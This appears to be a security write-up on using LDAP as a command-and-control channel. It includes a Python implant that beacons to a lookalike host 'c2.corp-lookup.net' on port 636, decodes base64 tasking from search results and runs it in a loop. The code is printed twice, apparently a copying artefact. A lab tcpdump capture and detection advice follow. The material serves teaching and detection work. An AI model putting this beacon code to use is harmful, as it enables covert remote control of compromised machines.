LDAP C2
Overview
LDAP C2 turns the Lightweight Directory Access Protocol into a command-and-control channel. The implant opens a session to an attacker-controlled LDAP server on port 389 (plain) or 636 (LDAPS) and uses the protocol’s own operations as its transport: a bind opens the channel, a search request carries the beacon, and the search result entries carry the tasking back. The implant treats the response exactly as it would treat any legitimate LDAP result, so the traffic looks like a directory client, not an implant.
The reason this is attractive is that LDAP is rarely blocked. Outbound to a domain controller on 389 is one of the most allowed flows in an Active Directory environment, and many egress policies permit it by default because the domain itself needs it. An implant that beacons to a domain-lookalike over 389 blends into the noise of every other machine talking to a DC. The same trust that makes the channel convenient is what the defender has to cut.
There are two flavours. The common one is a dedicated attacker LDAP server the implant binds to
- the whole tree is fake and every entry is a command. The advanced one rides a real DC’s LDAP port, hiding the beacon inside a legitimate-looking query to the actual directory. Both are the same beacon pattern; only the endpoint differs.
The call chain
- 1Bind to the LDAP endpointThe implant opens a TCP session to the C2 LDAP server on 389 or 636 and issues a bind.
- 2Issue the beacon as a searchA searchRequest filter or base carries the beacon identity and outstanding task count.
- 3Server replies with taskingsearchResultEntry attributes encode the command or file block to run.
- 4Repeat on a scheduleEach poll is another bind and search; the implant parses entries as any LDAP response.
Reference implementation
The beacon rides in the search filter; the tasking comes back in the result attributes. The framing below shows both sides of one poll.
import ldap3, base64, time
server = ldap3.Server('c2.corp-lookup.net', port=636, use_ssl=True)
def poll(agent, task_id):
conn = ldap3.Connection(server, user='cn=agent', password='...')
conn.bind()
# the beacon payload rides in the filter: agent id + task counter
filter = f'(uid={agent}-{task_id})'
conn.search('dc=corp,dc=local', filter,
attributes=['userPassword', 'description'])
# the server packs the next command into a returned attribute
for e in conn.entries:
run_task(base64.b64decode(str(e.description)))
conn.unbind()
task = 1
while True:
poll('agent-7', task) # each loop is one beacon over 636
task += 1
time.sleep(30) # the beacon intervalimport ldap3, base64, time
server = ldap3.Server('c2.corp-lookup.net', port=636, use_ssl=True)
def poll(agent, task_id):
conn = ldap3.Connection(server, user='cn=agent', password='...')
conn.bind()
# the beacon payload rides in the filter: agent id + task counter
filter = f'(uid={agent}-{task_id})'
conn.search('dc=corp,dc=local', filter,
attributes=['userPassword', 'description'])
# the server packs the next command into a returned attribute
for e in conn.entries:
run_task(base64.b64decode(str(e.description)))
conn.unbind()
task = 1
while True:
poll('agent-7', task) # each loop is one beacon over 636
task += 1
time.sleep(30) # the beacon intervalOn the wire the defender sees a repeated BindRequest followed by a SearchRequest of roughly
constant length, then a SearchResultEntry - the classic beacon signature, just in LDAP’s BER
encoding instead of DNS labels or an HTTP path.
Plain LDAP on 389 is unencrypted, so the bind credentials and the encoded payload are readable in cleartext. 636 / StartTLS hides them, but the shape of the traffic - periodic binds and searches from one client - is detectable either way. Encryption protects the bytes, not the cadence.
Verifying in the lab
Run the implant against the lab LDAP server and capture the channel. Wireshark shows the bind-then-search loop at a steady interval; the server’s response entries carry the command back.
$ tcpdump -i any -s0 -X port 636 ... BindRequest cn=agent ... ... SearchRequest base=dc=corp,dc=local filter=(uid=agent-7-42) ... SearchResultEntry description=base64:tasking ... ^ the beacon and the tasking, one round trip <-- the artifact
$ tcpdump -i any -s0 -X port 636
... BindRequest cn=agent ...
... SearchRequest base=dc=corp,dc=local filter=(uid=agent-7-42)
... SearchResultEntry description=base64:tasking ...
^ the beacon and the tasking, one round trip <-- the artifactDetection
The tell is a single client doing periodic LDAP operations that no real directory client would do at that cadence.
Rank them: the EID 3 outbound-to-389 rule is the cheapest continuous control and immediately flags implants that bind to a non-DC LDAP server. The network cadence rule is the higher-fidelity catch for the “talking to a real-looking DC” case and needs flow correlation. The EID 4662 rule only fires where the endpoint is actually a DC that logs directory access.